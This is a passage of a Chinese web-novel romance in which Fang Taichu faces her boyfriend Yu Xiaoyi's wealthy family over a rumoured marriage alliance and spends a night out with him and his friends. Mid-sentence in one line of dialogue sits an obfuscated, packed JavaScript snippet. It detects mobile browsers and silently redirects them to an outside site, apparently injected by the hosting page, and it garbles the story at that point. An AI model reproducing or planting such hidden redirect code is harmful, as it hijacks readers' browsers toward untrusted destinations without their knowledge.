黄亦玫笑出声来,跟两人解释道:“这个作品诠释的是每个人的精神世界,天马行空,不受束缚,梦幻流动又绚丽多彩,铭仔猜的《意识》确实已经很接近了。” 铭仔听了立刻挑衅地朝小初扬了扬眉毛。 “……” 两人直待到下午一点,和大家一块吃了盒饭,又帮忙把能做的卫生都做了才从馆里离开。 他们走的时候黄亦玫还在忙,明天就是正式展出的第一天,又恰好是周末,看展的人会非常多,除了挂画,好多艺术品的组装和陈列都需要时间,想要达到最好的效果又要不断调整角度,很费心神。 小初估计他们今天天黑之前都未必能结束全部工程。 回去的路上铭仔满脸神往地跟小初说:“你有没有发现专注工作的女人很有魅力?” 小初看了看表,“专注工作的女人有没有魅力我不知道,但无所事事的男人肯定没有。我一会儿还有课,你请自便吧。” 铭仔气急,自我辩解道:“谁说我无所事事!我是学校放温书假特意回来和家人团圆过中秋的好不好?过两天我就出去了!” “真是奇怪。”小初不可思议地笑了笑,“怎么你误解别人的时候张口就来,别人只是说你一句你就受不了了?你这么无趣,跟你玩在一起的那群人到底有没有把你当朋友啊。” 铭仔愣住,半晌无语,而后才神秘兮兮地靠近她:“方太初,你报复心这么强的吗?好,我跟你道歉好了,我对你是没什么意见的,无非是Theo喜欢谁,我就看看谁的脸色呗,看看脸色又不会死,是吧?” 小初不动声色地向一旁躲了躲,径直向学校方向走去。 铭仔追上去,继续说道:“可惜啊,你太单纯太耿直了,我很好奇你到底能跟他在一起几天。你知唔知别人抢男朋友都是什么手段?男人喜欢的是外表矜持平静内里热烈汹涌的一片海,可不是一座棱角分明的真冰山,任他怎么热情都没办法融化,靠得太近还容易受伤。你想永远征服他,就要给够他视觉刺激和心理刺激才行,还要冷热交替着来,喂,我可是看在你妈妈面子上才跟你说这些的啊,听不听随你咯。” 小初停下脚步,掀眸看了他一会儿,“所以要抢走他的那个人就是Marissa杨?” “总算还有点聪明。”铭仔似笑非笑地斜了斜嘴角,“杨家和余家早二十年就有意联姻的,结果你也知道,余蓁蓁为了抗婚,不惜自毁名声交往同性密友。这才轮到二十年后的Marissa和Theo。你当杨家昨晚这么大场面是为了什么,还不就是想借机向外传递两家即将有好事发生的信号,结果呢?晚宴Theo根本就没出现,派对一半还借机跑了出来,都快到尾声又把你带去给Marissa那么大一个难堪,你觉得这事该怎么收场?” 小初有些发怔,她哪知道昨晚的事在她的视角之外还暗藏这么多玄机啊。 “Marissa现在怎么样?” “昨晚回去就病了,据说今天还躺在床上。一大早Theo就被他爷爷骂了一通,说他肆意妄为,不知所谓。” 小初笑笑,“其实昨晚他只要不把我带去也都还好的吧?” 虽说没身处那个圈子,但她大概也能明白,家族联姻其实就是一种资源整合,这东西当事人有无感情倒是其次,但至少在面上要堵得住悠悠众口,余萧弋私下跟她谈谈也就算了,非这么明目张胆,难怪把杨小姐都气病了。 铭仔用手指整理了下他被风吹乱的头发,“Theo那么爱你,竟然还被你当街大骂,你还有良心吗?” “这么说,他和她已经有婚约了是吗?” “那倒还没有,不过昨天的事过后就难说了。总之,你做好心理准备被人逼着分手吧。” “你又为什么告诉我这些?” 铭仔眨了眨眼,“一个是我真看不下去Theo被你这么对待,还有一个就是我跟朋友打了赌,说你这种直性子肯定一听见这个就要爆燃,反而会加速把Theo推回到Marissa身边去,这样Marissa还能承我个情,岂不是两全其美。” “……”他们对她到底是有多深的误解?小初累了,她摆摆手,“再见,我上课时间要到了,今天谢谢你到馆里帮忙。” 说完她就转了身。 铭仔没有再追上来,而是找个了空旷的地带迎着海风点燃了一支烟。 尽管心很乱,小初回到学校,还是认真上完了一整节课,甚至比她想象的还要思路清晰,教授期间提问了五六个问题,其中一半都是她答的。 她爸早就教过她,外面的世界越乱,心就要越定,以不变才能应万变。 她从来就不是被当成不谙世事的小公主养大的,别人家对女儿的期待或许只要她会享受生活,长大了找到个如意郎君衣食无忧过一生就可以了。 可方协文对她的期许却是,要有能力掌权,要勇于承担责任,等将来他老了,她还能带着亦方的几万员工继续好好走下去。 将命运紧紧抓在自己手里,永远要比在别人掌心里乞怜要幸福得多。 她笑,难怪余萧弋总说她冷淡,没被教过装病来博取男人的同情难道也是她的错吗? 她偏要做冰山又怎么样?这世上自有人心甘情愿做大海来包容她,爱她的人不需要理由便会爱她,不爱她的人,难道她融化得一点棱角没有就能赢得人家的心吗? 很好,现在她倒要看看余家和杨家会做点什么来逼她放手,若她不肯,他们又准备拿她如何? 要是连自己喜欢的人都不能想要就要,不想要就不要,那亦方以后干脆连香港市场也放弃算了。 下课后没多久,余萧弋就以助教的身份将今天的作业发在了群里。 小初勾了勾唇,下一秒就发了私信过去,眸底散漫的野心再也藏不住,「上次在绮丽吃的法餐还不错,要不要一块去吃?」 绮丽姓余没错吧?余蓁蓁今晚会不会在? 正在图书馆自习的余萧弋看了这行字反而有些愣住,他看了看窗外,太阳明明已西沉,今天早晨也是从反方向的海面上升起来的,她怎么了,竟然开始主动约他了? 「好啊。」他措了下辞,「要不要带上阿姨一块?」 「不了吧?我们两个人的约会为什么要带上她?我想你了。」 余萧弋感觉一阵热流骤然从心脏向四肢百骸流窜而去,并瞬间点燃了他的呼吸。 恍然过后,他立刻合上了书,回她:「你在哪,我去接你。」 「在回宿舍的路上,我换件衣服,你在楼下等我,可以吗?」 「好,那一会见。」 余萧弋这辈子就没跑这么快过,跑到地铁站时,他特地将自己淹没在奔涌的人潮中好一会儿,任周围的混乱和喧嚣穿过自己。 刷卡,进地铁,出站,路过他们初吻的街心公园,上坡,在她宿舍楼下停住。 明明和每次来见她的程序差不多,可不知为什么,他的心跳节奏始终平复不下来,指尖一直在颤抖。 她只是简单约他吃顿饭而已,可又好像哪里不太一样,具体哪里不一样,他又说不出。 直至他心心念念的那道身影出现在面前,他的世界似乎才安静下来。 她穿了条黑色无袖连衣长裙,头发用发夹别在耳后,耳朵上正是他前两天送她的月亮耳饰,钻石在夜色中散发着璀璨的冷光,可即便如此,也难掩她一身清冷中恰到好处的那一点艳。 “嗨。” 她弯眸看向他,一双黑白分明的瞳仁似是能看透人所有心事。 余萧弋稍稍别开视线,生怕自己眼底正在氤氲而出的那丝不太能见人的念头冒犯到她。 “嗨。”他不自然地笑笑,“今天什么日子?” “星期五啊,明天周末,你不知道?”小初狡黠看向他。 “不是。”余萧弋吞咽了下口水,“我的意思是,你今晚好美。” 小初指了指天空,“今晚月色也美。” 余萧弋的掌心全是汗,他感觉自己已经快胡言乱语了,“是,马上中秋了。” 小初偏了偏头,逗他,“你不是说今晚月色好美就是我爱你的另外一种表达吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351531|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “方太初,你到底怎么了?”余萧弋欺身向前一步。 小初却不经意向后退了退,微微侧身,“没什么啊,就感谢你今天派了个人过去给我帮忙啊,你还别说,铭仔倒也不算一无是处。” 余萧弋这才注意到,她的裙子后背竟然是个大大的U型,以至于他只要稍稍垂眸,就能看见她半个光洁的后背,以及若隐若现的内衣的轮廓和肩带。 他感觉自己已经不能呼吸了。 小初却一副对什么都无所知的模样,问他:“走吗?” “嗯,走。” “打车?” “不是,司机来接,他已经到了。” 两人拾阶而下。远远的,小初就看见了一辆动线很漂亮的黑色豪车悄无声息地停在路边。 她嘴边勾起一抹意味不明的笑来。 余萧弋帮她打开车门,待她坐好后,他才从另一侧坐到她身边来。 司机是一个四五十岁年纪的大叔,哪怕小初先上的车,他也没有半分眼神落到她身上,全程毕恭毕敬,非礼勿视,直至余萧弋说“去绮丽”,才轻轻启动发动机。 小初心里叹服。 去绮丽的路程不算长,但因为晚高峰堵车走走停停了很久。 余萧弋全程都规规矩矩坐在他自己的位置上,目光若有似无看向窗外,只有问她“空调凉不凉”,“会不会晕车”时才稍稍偏向她一下,却也没有和她进行任何眼神交流。 可在他靠过来的那一刹那,她还是敏锐地捕捉到了他凌乱的气息。 她在心里轻笑了声——好啊,装正人君子是吧,那就记得一定要装到底哦。 车子停在绮丽。 小初没猜错,余蓁蓁果然已经在门口等着他们了。 看来铭仔确实没骗她,杨敏中“生病”的事是真的,余萧弋被爷爷大骂的事也是真的,两家今天肯定都有不同程度的震荡,否则余蓁蓁才不会赏脸来看她这一眼,就是侄子“随便玩玩”的小女朋友而已,她要每个都来看,就什么事都不要做了。 小初笃定他们不可能查到她是谁,她爸妈向来注意保护她的隐私,她的信息从来没有在互联网上出现过。 余蓁蓁的目光在小初身上淡淡停驻了几秒,又不经意滑过她耳垂上的月亮耳饰,才转向余萧弋,“爷爷叫你回家吃饭你不回,偏往我这跑,你这是非拖我下水?” 小初假装不明所以地看向他。 余萧弋牵着小初的手向前一步,“我想姑姑了嘛。给你们介绍一下,这是我女朋友方太初。”又和小初眨了眨眼,“这个是小姑姑,你看我们俩长得像不像?” 他这是装完君子又跑这装乖来了,是吧? 小初心里送了他一个白眼,大大方方用普通话问了好,“余小姐晚上好。” 余蓁蓁的气质容貌和网上的照片视频别无二致,只是不知是不是小初的错觉,她总觉得眼前作为活人的她比记者笔下接受采访的那个她更有温度一些,也更不羁一些,尤其看她和余萧弋的那个眼神,似乎还带着点……幸灾乐祸? 她不由自主想起冰室墙上照片里十几年前那个天真张扬的大小姐。 “不太像。”小初如实答道。 余蓁蓁饶有兴致看她一眼。 “余小姐更帅更高智一点,尤其戴眼镜的样子。” 余萧弋笑,“是不是啊。” 小初无比诚恳地点了点头,然后才说,“余小姐毕竟博士毕业,你努力,或许三五年之后就像了。” 余蓁蓁没想到小初见到她不仅不害怕,反而这么落落大方,心里忍不住生出喜欢来,拉过她的手,“走吧,给你们两个留了位子了。” 三人一齐往里面走。 余蓁蓁的秘书,助理和司机自动跟在了后面。 一路上好多人都在向他们看。 余蓁蓁问小初,“我听Theo说,你家里是北京的?” 小初说,是。 助理按下电梯。 余蓁蓁又问:“家里大人都是做什么的?” 余萧弋抗议,“姑姑,这是人家隐私好吗?” 小初笑笑:“没关系的。我姥姥姥爷之前都是清华的教授,不过早已经退休了,舅舅从清华建筑系毕业几年后自己开了家公司,舅妈现任某艺术品策划公司高管,至于我爸妈,他们是复旦毕业后就留在各自领域发展了,爸爸从事互联网,妈妈目前在一家美术馆工作。” 一行人走进电梯。 余蓁蓁点点头,“那你们这也算书香门第了,可把我们我们家Theo比下去了。” 小初谦虚垂眸,“没有没有,大概全家除了念书也不会别的。” “那你毕业后什么打算,有准备来港工作吗?” 余萧弋眼见话题越聊越严肃,赶紧制止:“姑姑你留步吧,我们俩自己去吃饭就可以了。” 电梯门打开,食物的香气扑鼻而来。 小初率真看了余蓁蓁一眼,“现在大陆机会也很多,港资身影遍布各行各业尤其一些技术型新兴产业,你们不考虑支持Theo毕业后去大陆发展吗?” 电梯里所有人,除了余萧弋,神色均一愣。 小初在心里冷笑一声。 这游戏,她还没尽兴。 怎么玩,规则得她定。 铭仔说的什么来着?冷热交替是吧? 余蓁蓁的司机伸手挡住即将关合的电梯。 余萧弋牵过小初的手,与她十指相扣,唇边都是笑意,挑眉看了他小姑姑一眼:“余小姐?这顿你请,对吧?” 36.第 36 章 一整个晚上,方太初都有些心不在焉。 确切地说,她的注意力根本就没在坐她对面和她吃饭的那个人身上,所有菜式都不太合胃口,她不喝酒,只喝了点柠檬气泡水。 周五的夜晚,浪漫的餐厅,秀色可餐的男人,一切看起来都很完美,可一切又不足以消解她内心世界的嘈杂。 她一直在等,等余蓁蓁,或是随便余家的谁,过来找她谈,让她离开他,客气或者不客气,她都能照单全收,哪怕是杨敏中本人也行,可惜,都没有。 然后她又忍不住自嘲,若是杨敏中真来了她又能怎样? 一个男人而已。 别说她,她相信杨敏中也不会屑于这种无聊又失格的戏码,毕竟是豪门的大小姐,若她真想要,又有什么男人得不到?就算同时要十个,也会有人自我催眠假装另外九个不存在贴上去,余萧弋是不错,但也不是什么不可替代品。 于她是,于杨敏中肯定也同样。 说不定,连生病的消息都是她家里人替她捏造的,为的只是余家一个态度。不是杨小姐非要一个心里没她的男人,而是余家和杨家太想互换资源和捆绑利益。 所以,就算人家真来找她谈,她又能说什么呢?谈她和他也并没有很深刻的感情惹人发笑呢,还是自报家门力证自己有不输于杨敏中和他交往的资格呢? 那就不只是惹人发笑了,而是有辱门楣了。 他们家余少也只是条摆在会员制卖场里任人挑拣的鱼而已,他还不配她为他专门办张会员卡。 况且人家不来,不就已经用无视把话说得很清楚了吗?相比之下她却在乎得似乎已经沉不住气了,这不是头脑发昏是什么? 还是那句话,千错万错,都是余萧弋的错,在搞不清楚自己的身份立场家族责任之前,就不该招惹别人。 小初越想越意兴阑珊,加上饭又难吃,很快耐心耗尽。 于是问他:“我们几时走?” 余萧弋在对面看了她一整晚了,也没看明白她约他出来吃饭却全程握着一杯气泡水发呆,而且情绪肉眼可见越来越坏是什么意思,最初的羞涩兴奋褪去,只剩不解和担忧。 “可以马上走,但是……”他直视她的眼睛,“你得先告诉我你怎么了。你答应我的,有事要先沟通解决,不能一个人闷在心里,你不说,我真的猜不到的,好吗?” 小初别过脸,看了看窗外星河流动的维港夜景,心想,你还有脸问,你这条破事一堆还自私的臭鱼,要不是你,我能陷入这样被动的局面吗? 非要你,就是丢份又丢人,拱手将你让人,我又舍不得,不甘心。 “没怎么,就是我明天还要去展馆里陪妈妈做事,得早点回去休息。”小初打开钱包从里面拿出一叠港币来大概数了数放在桌面上,“虽然余小姐说她请客,但我向来不随便吃别人家的饭,刚看菜单时候大概算了下金额,我A一半好了。” 她的态度让余萧弋没来由地慌了一下,他按住她的手,如临大敌,“不对,你每次一付钱准是又不开心了,告诉我,到底谁惹你了?” 小初淡淡抽回手,笑笑,“没谁。”说完就利落起了身,“走吧。” 其实解开此局也简单,只要她比别人更云淡风轻就好了。 反正大家还年轻,今朝有酒今朝醉,开心一时是一时,想得太多反而没意义。至少今天,他们还都是自由之身。 “方太初。”余萧弋跟着站起身,咬唇把那叠钱塞回到她的包里,饶是再好的脾气也有点被她惹急,“拿好,你爸妈赚钱也不容易吧?如果谈个恋爱还要你付各种账单,那这恋爱……” 口不择言的话说了一半就被他紧急咽了回去,他都不知道自己怎么每次被她一气就犯这种低级错误。 小初本来都不打算计较了,听他这么一说反而心头一刺,“怎么不说下去?” “我不想在这吵。”自觉失言的他声音很低。 小初指了指电梯,勾唇,“好啊,那出去吵。” 余萧弋呼吸一滞,她还真是个解题高手。 还没走到电梯,就迎面碰上了余蓁蓁的秘书,对方的态度很客气,“方小姐,你吃好了?” 小初弯起眼睛,将所有情绪都暂时藏了起来:“嗯,菜很好吃,麻烦替我转告余小姐,说谢谢她的款待。” 余萧弋在背后做了个无奈到想捏她耳朵的动作。 小初没看见,秘书却看见了,他嘴角微妙的笑意立刻引起了小初的怀疑,她倏地回过头去,却也只来得及看见余萧弋双手插袋一副若无其事的可恶模样。 秘书递过几个礼盒过来,说道:“这是我们酒店自制的月饼还有跟别家联名的茶叶,马上就中秋节了,余总特地交代让方小姐带回去品尝的。” 小初愣了愣,正想着怎么谢绝比较好一点,那边余萧弋已经帮她接了过来,“那就谢谢姑姑了,我们先走了。” “这怎么好意思……”小初有些无语,谁要他帮她做决定了? “又不是什么贵重的东西,有什么不好意思的,你要是不爱吃就拿去分给你室友,绮丽的月饼做得还可以,也没有很甜。”余萧弋一只手拎着几只礼盒,一只手还没忘记来牵她。 到底有外人在,小初没挣扎。 秘书又说:“余总交代我把车钥匙给你,让你把方小姐安全送回家。” 余萧弋挑了挑眉,“你跟她说,我们不回家,我们开去山顶兜风,如果有罚单,让她记得及时处理。” 一进电梯,小初就甩掉了他的手,“谁要跟你去兜风。” 余萧弋露出一个了然的表情,“那就是想跟我回家?” “架还没吵完。”小初冷笑,“你有闲情?” “那就先吵完。” 两人来到车上,余萧弋把东西放在副驾驶,也陪她坐在了车子后排,“说吧,你想怎么吵?” 小初眯了眯眸子,“什么叫我想怎么吵?” “你约我出来,说想我了,说今晚月色好美……”余萧弋忍不住扣住她的肩膀让她看着自己,“就是要我眼睁睁看着你脸色一寸一寸黑下去,再跟我不欢而散的?你知唔知我也是有心的,你到底要掌控我的情绪到什么程度才满意?” 小初愕然,“你觉得我们之间的问题在我?” “你先告诉我,我们之间的问题是什么。” “余萧弋,坦诚点好吗?”小初很累了,车子里的空间有点闷,她突然意识到铭仔说得一点没错,她果然开始爆燃了,下一步就要把他推到Marissa怀里去了。 她想不通,明明她面对别人,还是可以伪装片刻的,怎么一面对他,就只能打明牌局,她的情绪也被他掌控到极致了,他怎么看不出? 余萧弋眯了眯眸子,眼神里的侵略性逐渐蓄满,他要疯了,他已经恨不能把心剖开来给她看了,她还要他怎样坦诚? “坦诚什么?” “算了。”小初轻笑一声,“送我回去吧。” “谁要跟你算了。”他的目光逐渐聚焦到她的唇上,两人的距离已近无可近,可他怎么也没想到,她锁骨之下的漂亮线条会以这个角度越过松垮的领口撞进他的眼角余光,事情发生得太猝不及防,他立刻克制地闭上了眼睛。 原本以为不看她就会好一点,可狭小空间内一个失控的呼吸声都会被放大无数倍,她身上的香气更是萦绕在鼻端挥之不去,他不知该拿她怎么办,也不知该拿自己怎么办,只剩一颗心还在无序而剧烈地跳动着,睫毛渐渐被什么东西沾湿。 小初呆住。 本来她是最讨厌情侣间一遇到问题就靠肢体接触来回避的,这会儿她被他半压在身下动弹不得,心里正思考怎么推开他呢,谁想到他竟自行停了下来,还……闭上了眼睛? 他什么意思? 索吻? 强行反转剧情? 车内光线有点暗,她没有看清他脸上的泪痕,直至她感觉到什么东西顺着她侧颈慢慢滑下去…… “余萧弋,你是不是流鼻血了?” 小初慌张极了,用力伸手越过他打开车顶的阅读灯,视线聚焦的那一秒,他湿漉漉的脸已经背光以阴影的方式将她全部遮住,她不自觉用指腹抚了抚他的眼睑,声音不自觉温软下来,“你吓死我了,还以为你流鼻血了。” 他不说话,只深深看着她,依旧执着那个问题,“到底怎么了?” 小初有些无奈,“都说了没事。” “你是不是又要说分手?” “没有。”小初帮他把眼泪擦掉,声音越来越低,“我在你眼里就是这种出尔反尔的人?不是都答应你了吗。” “那是为什么突然不高兴,是谁跟你说什么了吗?” 小初心惊于他的细致敏感,但又不知道怎么转圜,只能顺口胡诌,“没有人说什么,就昨天你唱那首《未知》的时候,感觉大家看你和杨小姐的神情都挺耐人寻味的,你和她……”她故意停住,“是不是曾经有过一段情?” 余萧弋听着,眼底逐渐浮现出荒诞之色,“我跟她有什么一段情!我们连同学都唔做过!平常也只有在社交场合才会碰到面,本来也不算很相熟。” 小初盯住他的眼睛,“那为什么大家那么看你们?” 余萧弋不答,本来红红的眼底逐渐染过一丝不确定的惊喜,“你是不是在吃醋?” “我哪有!”小初极力否认,“你少自恋一点吧Theo余。” “原来是这样 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余萧弋果然愣了愣,似是不敢相信自己听到了什么,“那……去我家吗?” “不不。”小初浑身都有些发烫,“我不是那个意思。”又用力推了他一下,“你能不能,先起来?” “哦,好。”余萧弋如梦初醒,掌心托着她的后脑将她扶了起来,并顺手将她下滑的肩带扶正。 他稍稍别过身去,看向窗外,平息了一会儿。 小初胡乱整理着头发,用力回想了一下事情是怎么变成这样的。 “我和杨敏中没有任何关系,你放心。” 余萧弋突然开口,声音还有些低哑,他轻咳一声,似乎好了一些,继续说道,“我们两家是世交没错,但我很小就已经和爸妈从老宅里搬出来了,平时只有家庭日和年节才会回去吃顿饭。你知道的,我妈哈尔滨人,个性比较强悍,不怎么喜欢生活被人摆布。都说上嫁要吞一万根针,但幸好,余家的废物比较多,除了小姑余蓁蓁,爷爷奶奶很多东西不得不仰仗她。所以,你别害怕,无论外界怎么传,在我身上都不会有联姻那种荒谬的事发生,因为我们家是我妈妈一票否决制,她对很多东西,深恶痛绝。” 小初小声说,“干嘛跟我解释,我又没说什么。” 余萧弋眸间仍残留着温柔,没拆穿她,只是轻轻问了句,“还难受吗?” 小初摇摇头。 想了想,又问他,“那你呢?” “什么?” “要是没有你妈妈的一票否决,你会反抗吗?” 余萧弋抚了抚她的头发,“你不是就是不相信我才胡思乱想的吗?” “我没有不相信你!”和聪明人交往怎么处处都是陷阱!小初解释,“我还觉得你委屈呢。” “我委屈什么?” “为了我,要承受很多压力。”小初揶揄。 他掀眸看她,“怎样,你心疼了?” “……我是不是说了要你少一点自恋?” 说完两人都笑起来。 “那现在,我们……是去山顶兜风,还是,去我家坐坐?”余萧弋生怕破坏了这个气氛,语气很斟酌。 说完又加了句,“我不做别的,我发誓。我只是很想你进入我的生活,我会烤饼干,你想吃吗?还有,记得之前我跟你说的我养的那条小狗吗,你想不想见见它?它超级超级想见你的。” 小初越听越离谱,瞪他一眼,“它怎么会知道我?” “我介绍的呗,它在家里,听你的名字耳朵都快听出茧子来了。” 小初的理智已经软弱成一条河,她很怕他再说两句,她就要在意乱情迷中答应了。 饼干和小狗都不重要,他,比较重要。 她对他的生活也有点好奇。 正犹豫间,铭仔的电话却刚好在这会进来了,问余萧弋要不要去某个酒吧一块喝两杯,余萧弋刚要拒绝,小初就在旁边代他答应了下来,“好,我们一会儿就到。” “Theo余!”铭仔忍无可忍,“下次有女朋友在身边可不可以不要开扬声?” 余萧弋咬牙,“你收声吧,废话真多,下次再有喝酒这种事可不可以不要找我?尤其周末晚上?” 电话一秒被他挂断。 小初笑到手抖。 余萧弋没好气双手捏了捏她的脸,“你再笑,我就要把你吃掉了哦。” 小初立刻凝住笑容。 余萧弋被她可爱到,有些无奈,“下次记得该听话的时候,也这么听话,好吗,宝贝?” “??” 37.第 37 章 铭仔发来的酒吧就在中环,因为距离不太远,两人决定步行前往。 香港十月的夜晚还没有什么秋的味道,只是比夏天时候清爽了一些,这几天没下雨,天气很舒服。 余萧弋一只手牵着小初,另一只手插在口袋里,眼睛看似在看街景和路况,实际余光里都是她。 她今天穿了双不太高的高跟鞋,两人的身高差刚好半个头。 “方太初,你爸妈是不是很高?” “啊?”小初的思绪正在放空,忽然被他这么一问还反应了一下,“挺高的,应该跟咱们俩差不多。” “我听铭仔说,你妈妈美得像女神。” 小初无可无不可地哼了一声,“要他说。” 余萧弋瞥她一眼,“铭仔底色其实不坏,就是有时候口无遮拦了一点,也难怪你对他有意见,但我倒是觉得这样的人反而可以做朋友,现在这个社会,虚伪的人要比坦诚的人多太多。” 小初说:“是他先对我有意见的。我无所谓别人是虚伪还是坦诚,但我最讨厌看人下菜碟式的坦诚,你问问铭仔,敢不敢到杨敏中面前口无遮拦。” 余萧弋笑:“他还真未必不敢,但是……”他紧了紧抓着她的手,“你能不能不要再提那个杨敏中?” 小初挑眉,“怎样,杨小姐提不得吗?” 余萧弋投降,过了好一会儿,才不经意说了句,“铭仔从小没有妈妈,所以可能是有点性格问题。” 小初眉心一动。 两人没有就这个话题继续聊下去。 中环各种风格的酒吧一家接着一家,好多排名靠前的都要提前预约,不然根本没有位置,要么就要排队慢慢等,等中途转场的人离开再进去。不过小初猜着余萧弋这群公子哥应该没有这个困扰,不然画风可就诙谐了。 因为是周五,满街都是寻欢作乐的人,有的酒吧是半开放式的设计,不少没排到位置的人干脆就那么站在露天的街边手持酒杯一边聊天一边听音乐,看着倒也轻松惬意。 余萧弋带着小初绕过几个街角,终于在一家复古欧式风格的小酒馆前面停了下来。早有人在门口等,带着他们从VIP通道上了楼。 酒吧今天应该是有Live Jazz表演,一上楼,小初就被这种随性浪漫的氛围感吸引,手指在楼梯扶手上不自觉轻轻律动着,连步调都精准踩着音乐节拍。 余萧弋问:“之前来过这种地方吗?” 小初点点头:“来过啊。” 他揽过她的肩膀,掌心贴着她手臂的肌肤,揉了揉,“和谁?你又不喝酒。” “也可以喝的。”小初想起了林佳宜姐姐祭日那天她们一块喝的酒,入口时明明又辣又呛,可没一会儿整个人就像被丢进温泉里一样,四肢百骸都很温暖,很舒服。 她之前看文献说长期饮酒会让人的大脑加载和运行速度越来越慢,所以,她不喝酒,不是她讨厌酒精,纯粹是怕误事。 他的掌心传来的包裹感很熟悉,在车上被他压在身下的记忆碎片猝不及防飞了出来,又纷纷扬扬落下,空气忽地变得密不透风。 “不过,之前是和我爸妈一块去的,在国外。我在北京上学的时候课业比较紧,身边的同学也比较务实,确实没机会来这种地方消遣。” 小初斜睨他一眼,“不像余少你,天时地利人和,只要你想,随时都可以出来放纵一番,酒精上头的感觉怎么样?单单吹吹冷空调,能冷却下来吗?” 余萧弋没想到她话锋一转到他这来了,立刻澄清:“我真不常来,来也是和铭仔他们一群人一起,都是很熟悉的朋友,而且我喝得不多,下楼吹个风酒气就散了。” 带队的在三步之外停下,微微颔首用粤语说道:“余先生,林先生他们在已经那边等了,还是靠窗的那个位置。”又说,“下次你再来随时给我们打电话就好,祝你度过一个愉快的夜晚。” 拆台来得太快,小初笑出声来。 余萧弋搂着她绕过热闹的吧台和一桌桌俊男靓女朝窗边走去,一边走一边笑:“他们家服务人员话太多,下次再不来了。” 室内光线很昏暗,小初看见天花板悬挂的玻璃吊顶都是酒杯形状,乐队的即兴演奏水准很好,一曲完毕,大家都轻轻鼓掌。 远远地,铭仔就和他们大大挥了挥手,一群人似乎已经喝了有一会儿了,桌子上都是高低错落的酒杯,窗户不知被谁打开,海风吹进来,说不出的舒服。 小初和这群男女早不是第一次见面了,只是也不知道她和他们是八字相冲还是怎样,每次相处都不算太愉快。 今晚还好一点,或许是他们喝多了看谁都有点可爱,也或许是余萧弋提前交代过,总之,小初不能否认她确实感受到了一点他们的热情。她叹口气,也礼尚往来送了个灿烂的笑容过去,人家都能为了朋友向演技派靠拢,她当然也不能让他为难。 这次再搞砸,恐怕是真的很难转圜了。 铭仔一见到她就瞪大了眼睛,咋咋呼呼用塑料普通话说道:“方太初,你稍稍打扮一下总算有点像你妈妈了!” 众人立刻投了个不可思议的眼神过去,“你还见过她妈妈?” 铭仔得意非凡,“对啊,跟你们说她妈妈才是真的漂亮,女神懂吗,就是只要站在那就让人没办法移开眼那种。人家都说美女大部分都没办法把美貌遗传下去的,这话看来是真的,因为她们找老公的眼光普遍都不太好,方太初,你爸是不是也很难看?” 大家神色古怪看了小初一眼,爱马仕姐被一口酒呛到,剧烈咳嗽起来。 余萧弋有些无语:“林铭锵,你是不是喝多了。” 铭仔说:“余萧弋,你是不是嫉妒我比你先认识你准岳母?” 余萧弋贴近小初,“你别跟他一般见识。” 小初点点头,决定原谅一个没被人教过好好说话的孩子。 爱马仕姐叫池咏珊,姐姐在澳洲生子的女孩叫陈嘉言,除了她们俩,其余都是男生。 小初在余萧弋和陈嘉言之间坐了。 “你喝什么?”余萧弋递过酒单。 小初看了看,实在没什么头绪,“你看着点吧,不过我真不能喝多,不然明天准会被我妈妈看出来。” “那就点个花果香的女士酒?”余萧弋的手指落在酒单的某一行上。 陈嘉言接过话去:“别点那个,腻死了。”然后她手指轻点落在另外一行上,跟小初说,“你喝这个,是烟熏感的果木味道,度数不会太高,但风味很特别。” 小初有些意外,继而笑着点点头,“行,那就这个。” 余萧弋喊过服务生。 陈嘉言贴近小初,很有些幸灾乐祸:“你不知道昨晚你和Theo离开后Marissa的脸色有多难看,她仗着她们杨家的家世,向来不把圈子里任何人放在眼里,这次却吃这么大一个瘪,难怪回去就生病了。” 小初公正地说:“杨小姐看着倒不像飞扬跋扈的人。” 陈嘉言轻笑:“识人识面不识心,她妈妈就被坊间称作杨家的一把刀,你觉得女儿会是等闲之辈?只是人家不像我们这么直来直去罢了。再说,她对Theo的觊觎也不是一天两天的事了。” 小初看了陈嘉言一眼,也不知道她说的这个“我们”包不包括她,怎么才过一晚,她就和她们成了一个阵营了。 敌人的敌人就是朋友? 余萧弋警告陈嘉言:“你别一天到晚胡说。”又紧张看向小初:“真没有,她只在香港读了个高一就出国了,那时候我都读高三了,两人根本没什么交集。” 陈嘉言撇撇嘴,“你敢说你不知道她暗恋你?” 铭仔也附和,“就是,那时候她还托我给你递过情书呢吧?情书你也没看?” 余萧弋咬牙,“你们是真不顾我死活,也不怕她今晚回去就弄死我?给我写情书的多了,我是不是要每个都记得?没交集就是没交集,不喜欢就是不喜欢,你们也不要背后议论人家女孩子,年少时候喜欢过一个人也不算什么案底吧?铭仔你那点破事要是拿出来说,三天三夜都说不完,陈嘉言你也不遑多让,你看你的那个没作品只能到处赶通告的前男友,糊成那样还要搞什么地下恋情,我当时是不是提醒你了,结果他果然背着你还跟好几个人搞暧昧吧?” 陈嘉言被人戳破也不生气,反而坏笑着看向小初:“你打算怎么弄死他?” 铭仔说:“我们可以提供道具。” “……” 池咏珊淡淡看了眼余萧弋,“你手腕上那根绳什么时候买的,虽然便宜了点,但和你的手表戴一块也勉强相配,怎样,是谁要把你绑住?” 陈嘉言听了立刻会意:“那这个很难绑住吧?得换个更厉害点才行。” 大家都大笑起来。 余萧弋有些无奈:“我就不该带她出来给你们认识。” 小初瞥他一眼,很想问问,他这都一堆什么破朋友,怎么凑一块还没三分钟就开始满嘴浑话了。 服务生把酒送了过来。 余萧弋借机贴近她,眼底都是惊惶,“你别听他们乱说啊。他们就是一群嘴强王者,实际真被虐了都只会哭的类型。” 陈嘉言也凑过来:“你别误会Theo啊,就是因为他是我们这群人里最纯情的,我们才都喜欢开他玩笑,我可以帮他证明,他是真的没谈过恋爱。” 他,纯情? 小初仔细想了想两人相识以来的点点滴滴,目光犹疑地看了看眼前这帮人,他们也不能为了替他立人设,就不怕天打雷劈了吧? 她就没有见过比他还会的人了,好吗? 